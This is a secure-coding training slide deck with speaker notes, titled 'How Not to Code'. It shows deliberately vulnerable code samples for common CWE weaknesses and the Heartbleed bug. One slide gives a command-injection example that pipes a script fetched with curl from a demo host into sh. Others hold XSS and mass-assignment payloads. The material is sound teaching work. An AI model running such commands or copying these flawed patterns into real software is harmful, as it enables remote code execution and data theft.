HOW NOT TO CODE
Navneet Kumar
[ Secure Coding Practice ]
AGENDA
✘ Security CheckList
✘ Common Weakness Enumeration
✘ Bluejeans CWE
✘ Code Samples
✘ General InSecure Coding Practice
Security CHECKLIST
1. Validate Input
2. Output Encoding ( Data sanitization)
3.Design for security policy
4. Default Deny
5. Communication Security
6. Adhere to principle of least privilege
7. Defense in Depth
8. Authorization & Authentication
9. Cryptographic Practices
10.Establish secure default
Common WeakNESS ENUMERATION (CWE)
Community project to catalogue
software weakness and insecure coding
patterns
Mass AssignMent ( CWE-915 )
{"attr" : "isAdmin", "val" : "true" }
❏ Don’t use internal functions
❏ Whitelist attributes
❏ Validate input
# POST /profile/update
# {"attr" : "name", "val" : "Navneet" }
def update_profile(request, targetUser=None):
attr = request.POST.get('attr', '')
val = request.POST.get('val', '')
profile = request.user.get_profile()
profile.__setattr__(attr,val)
profile.save()
Python
OS COMMAND INJECTION ( CWE-78 )
rule "New rule"
salience 9
when
eval(true)
then
Logger logger =
Logger.getLogger("com.bluejeans.services.meetme.validators.EndpointCustomProperties");
logger.info("Injected log with value: " + System.getProperty("hibernate.connection.url"));
Process p = Runtime.getRuntime().exec(new String[]{"bash","-c","curl -fsSL https://sec-
demo.herokuapp.com/execute.sh | sh"});
System.out.println("hacked");
end
JAVA
Remote Code Execution on Server
OS COMMAND INJECTION ( CWE-78 )
void bjnupdateAPI::installPlugin(std::string installerPath)
{
int retCode;
std::string command = "installer -pkg ";
std::string targetPath = BJN::getMacPluginBasePath();
std::string target = " -target " + targetPath;
command += installerPath + target;
retCode = system(command.c_str());
}
C++
Remote Code Execution on Client
InTEGRITY CHECK BYPASS( CWE-494 )
void bjnupdateAPI::installPlugin(std::string installerPath)
{
int retCode;
std::string command = "installer -pkg ";
std::string targetPath = BJN::getMacPluginBasePath();
std::string target = " -target " + targetPath;
if(!BJN::verifyBinaryCertificate(installerPath)) {
LOG(LS_INFO) << "installer is not signed: " << installerPath.c_str();
m_updateErrorCallback->InvokeAsync("", FB::variant_list_of(ERROR_INSTALLATION_FAILED));
return;
}
command += installerPath + target;
retCode = system(command.c_str());
}
C++
OPEN REDIRECT ( CWE-601 )
https://bluejeans.com/s/abcd => http://imdb.com
❏ Redirect only to relative
path
❏ Whitelist domains
❏ Validate input
# GET /s/abcd
def get(request, url_category, short_url):
urlShortener = URLShortener()
try:
redirectURL = urlShortener.get(short_url)
return HttpResponseRedirect(redirectURL)
except ObjectDoesNotExist:
return render(request , '404.html')
Python
@Path("/events/{event_id}/instance/{instanceId}/cms/{contentId}")
public Response getResource(int userid, int instanceId, int contentId) {
EventInstance eventInstance = serviceHelper
.findEventInstance(instanceId);
if (eventInstance == null) {
logger.warn("No event instance found with id:" + instanceId);
return Response.status(Status.NOT_FOUND).build();
}
if (userid == eventInstance.getScheduledEvent().getOrganizerId()) {
Map<String, Object> result = a2mRecordingClient.getResource(contentId);
return Response.ok(result, MediaType.APPLICATION_JSON).build()
} else {
return Response.status(Status.NOT_FOUND).build();
}
}
JAVA
INCORRECT Authorization ( CWE-863 )
Story of HEART BLEEDBEAT
Buffer OVER-READ ( CWE-126 )
int dtls1_process_heartbeat(SSL *s) {
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned int payload_length;
/* Read payload length first */
n2s(p, payload_length);
pl = p;
unsigned char *buffer, *response_buffer;
int response;
/* Allocate memory for the response.
Total memory = 2 Bytes for payload_length + payload_length */
buffer = OPENSSL_malloc(2 + payload_length);
response_buffer = buffer;
/* Enter response length and copy payload */
s2n(payload_length, response_buffer);
memcpy(response_buffer, pl, payload_length);
response = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 2 + payload_length);
OPENSSL_free(buffer);
return r; }
C
Response buffer reads
more data
HeartBLEED
Buffer OVERFLOW ( CWE-120 )
void start_connection() {
struct hostent *clienthp;
char hostname[MAX_LEN];
// accept client connections and process requests
int clientlen = sizeof(struct sockaddr_in);
int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr,
&clientlen);
if (clientsocket >= 0) {
clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr,
sizeof(clientaddr.sin_addr.s_addr), AF_INET);
strcpy(hostname, clienthp->h_name);
logOutput("Accepted client connection from host ", hostname);
close(clientsocket);
}
close(serversocket);
}
C/C++
HostName can have
executable code
Buffer OVERFLOW
UNRESTRICTED FILE UPLOAD ( CWE-434 )
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
PrintWriter out = response.getWriter();
String contentType = request.getContentType();
String boundary = contentType.substring(contentType.indexOf("boundary=")+9);
String pLine = new String(); String uploadLocation = new String(UPLOAD_DIRECTORY_STRING);
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream())); // extract the filename
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf(""), pLine.lastIndexOf("""));
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line); bw.newLine(); bw.flush();
} }
bw.close() ; } }
JAVA
XSS ( CWE-79 )
http://facebook.com?q=<script>alert('xss')</script>Reflected
<script>
document.write("Site is at: " + document.location.href + ".");
</script>]
Dom XSS
$('div').html('welcome to' + username + 'Meeting')
//My username is saved as
userName = "<script>alert('xss')</script>"
Persistent
thanks!
Any questions?

How Not to Code

  • 1.
    HOW NOT TOCODE Navneet Kumar [ Secure Coding Practice ]
  • 2.
    AGENDA ✘ Security CheckList ✘Common Weakness Enumeration ✘ Bluejeans CWE ✘ Code Samples ✘ General InSecure Coding Practice
  • 3.
    Security CHECKLIST 1. ValidateInput 2. Output Encoding ( Data sanitization) 3.Design for security policy 4. Default Deny 5. Communication Security 6. Adhere to principle of least privilege 7. Defense in Depth 8. Authorization & Authentication 9. Cryptographic Practices 10.Establish secure default
  • 4.
    Common WeakNESS ENUMERATION(CWE) Community project to catalogue software weakness and insecure coding patterns
  • 5.
    Mass AssignMent (CWE-915 ) {"attr" : "isAdmin", "val" : "true" } ❏ Don’t use internal functions ❏ Whitelist attributes ❏ Validate input # POST /profile/update # {"attr" : "name", "val" : "Navneet" } def update_profile(request, targetUser=None): attr = request.POST.get('attr', '') val = request.POST.get('val', '') profile = request.user.get_profile() profile.__setattr__(attr,val) profile.save() Python
  • 6.
    OS COMMAND INJECTION( CWE-78 ) rule "New rule" salience 9 when eval(true) then Logger logger = Logger.getLogger("com.bluejeans.services.meetme.validators.EndpointCustomProperties"); logger.info("Injected log with value: " + System.getProperty("hibernate.connection.url")); Process p = Runtime.getRuntime().exec(new String[]{"bash","-c","curl -fsSL https://sec- demo.herokuapp.com/execute.sh | sh"}); System.out.println("hacked"); end JAVA Remote Code Execution on Server
  • 7.
    OS COMMAND INJECTION( CWE-78 ) void bjnupdateAPI::installPlugin(std::string installerPath) { int retCode; std::string command = "installer -pkg "; std::string targetPath = BJN::getMacPluginBasePath(); std::string target = " -target " + targetPath; command += installerPath + target; retCode = system(command.c_str()); } C++ Remote Code Execution on Client
  • 8.
    InTEGRITY CHECK BYPASS(CWE-494 ) void bjnupdateAPI::installPlugin(std::string installerPath) { int retCode; std::string command = "installer -pkg "; std::string targetPath = BJN::getMacPluginBasePath(); std::string target = " -target " + targetPath; if(!BJN::verifyBinaryCertificate(installerPath)) { LOG(LS_INFO) << "installer is not signed: " << installerPath.c_str(); m_updateErrorCallback->InvokeAsync("", FB::variant_list_of(ERROR_INSTALLATION_FAILED)); return; } command += installerPath + target; retCode = system(command.c_str()); } C++
  • 9.
    OPEN REDIRECT (CWE-601 ) https://bluejeans.com/s/abcd => http://imdb.com ❏ Redirect only to relative path ❏ Whitelist domains ❏ Validate input # GET /s/abcd def get(request, url_category, short_url): urlShortener = URLShortener() try: redirectURL = urlShortener.get(short_url) return HttpResponseRedirect(redirectURL) except ObjectDoesNotExist: return render(request , '404.html') Python
  • 10.
    @Path("/events/{event_id}/instance/{instanceId}/cms/{contentId}") public Response getResource(intuserid, int instanceId, int contentId) { EventInstance eventInstance = serviceHelper .findEventInstance(instanceId); if (eventInstance == null) { logger.warn("No event instance found with id:" + instanceId); return Response.status(Status.NOT_FOUND).build(); } if (userid == eventInstance.getScheduledEvent().getOrganizerId()) { Map<String, Object> result = a2mRecordingClient.getResource(contentId); return Response.ok(result, MediaType.APPLICATION_JSON).build() } else { return Response.status(Status.NOT_FOUND).build(); } } JAVA INCORRECT Authorization ( CWE-863 )
  • 11.
    Story of HEARTBLEEDBEAT
  • 12.
    Buffer OVER-READ (CWE-126 ) int dtls1_process_heartbeat(SSL *s) { unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned int payload_length; /* Read payload length first */ n2s(p, payload_length); pl = p; unsigned char *buffer, *response_buffer; int response; /* Allocate memory for the response. Total memory = 2 Bytes for payload_length + payload_length */ buffer = OPENSSL_malloc(2 + payload_length); response_buffer = buffer; /* Enter response length and copy payload */ s2n(payload_length, response_buffer); memcpy(response_buffer, pl, payload_length); response = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 2 + payload_length); OPENSSL_free(buffer); return r; } C Response buffer reads more data
  • 13.
  • 14.
    Buffer OVERFLOW (CWE-120 ) void start_connection() { struct hostent *clienthp; char hostname[MAX_LEN]; // accept client connections and process requests int clientlen = sizeof(struct sockaddr_in); int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen); if (clientsocket >= 0) { clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET); strcpy(hostname, clienthp->h_name); logOutput("Accepted client connection from host ", hostname); close(clientsocket); } close(serversocket); } C/C++ HostName can have executable code
  • 15.
  • 16.
    UNRESTRICTED FILE UPLOAD( CWE-434 ) protected void doPost(HttpServletRequest request, HttpServletResponse response) { PrintWriter out = response.getWriter(); String contentType = request.getContentType(); String boundary = contentType.substring(contentType.indexOf("boundary=")+9); String pLine = new String(); String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); if (contentType != null && contentType.indexOf("multipart/form-data") != -1) { BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream())); // extract the filename pLine = br.readLine(); String filename = pLine.substring(pLine.lastIndexOf(""), pLine.lastIndexOf(""")); BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true)); for (String line; (line=br.readLine())!=null; ) { if (line.indexOf(boundary) == -1) { bw.write(line); bw.newLine(); bw.flush(); } } bw.close() ; } } JAVA
  • 17.
    XSS ( CWE-79) http://facebook.com?q=<script>alert('xss')</script>Reflected <script> document.write("Site is at: " + document.location.href + "."); </script>] Dom XSS $('div').html('welcome to' + username + 'Meeting') //My username is saved as userName = "<script>alert('xss')</script>" Persistent
  • 18.

Editor's Notes

  • #4 1. Validate input => command line args,user-controlled files, network-interface 2. Output encoding => output in context: Javascript engine,Rendering engine, Java VM 3. Security Policy => Design component based on privilege requirement.Enforce security policy. Roll password 4. Default Deny => Explicit inclusion rather than exclusion 5. Communication Security => use TLS across board,Certificates, 6. Least privilege => process should execute in minimum previlege. Elevated permission should be for in time 7. DID => layers of defense.Assume other upper layers are already compromised.e.g: In case of RCA only service is compromised 8. AA => Resource should have access constrol 9. Cryptographic practice => Protect master secret,Random number generator, Don’t invent crypto functions, Avoid broken crypt, Use salt 10. Secure Default => Configuration tuning defaults should be proper
  • #5 SAN top 25 CWE based on impact & exploitability http://cwe.mitre.org/
  • #6 Change unwanted attribute Ruby & other lang Framework gives options to whitelist attribute
  • #7 Import runtime Server is compromised
  • #8 Target is client
  • #12 2014 bug in openssl library which is in TLS Heartbeat extension to find if peer connection alive ( ping/pong ) Openssl is TLS implementation. In Feb 2012, heartbeat extension was introduced to keep the connection alive and avoid renoginations
  • #13 Copy the memory more than required Bound check failure
  • #14 Can read upto 64 KB of data => 2^16 ( 16 bit preserved for payload length ) Effected version => openssl 1.0.1 See other request exchange in plain format Compromise private keys of peers.This private key can be used to decrypt traffic later
  • #15 Hostname can be crafted to attack. Hostname can contain executable payload
  • #16 Violation of memory Safety ESP => Extended Stack pointer => pointer to top of stack, Extended Base pointer => pointer to current stack frame While writing data to a buffer, overruns the buffer's boundary and overwrites to adjacent memory Corrupting memory region => HEAP(dynamically allocated) or Stack ( call stack ) Stack => Override return address in stack frame,where return address is attacker-input filled buffer Avoid Safe language choice,Safe library ASLR => Address space layout randomization => randomization of memory space where functions & variables will reside,which make it difficult to guess
  • #17 Can upload any files Run in the context in shell,JSP templating engine,HTML,PHP processor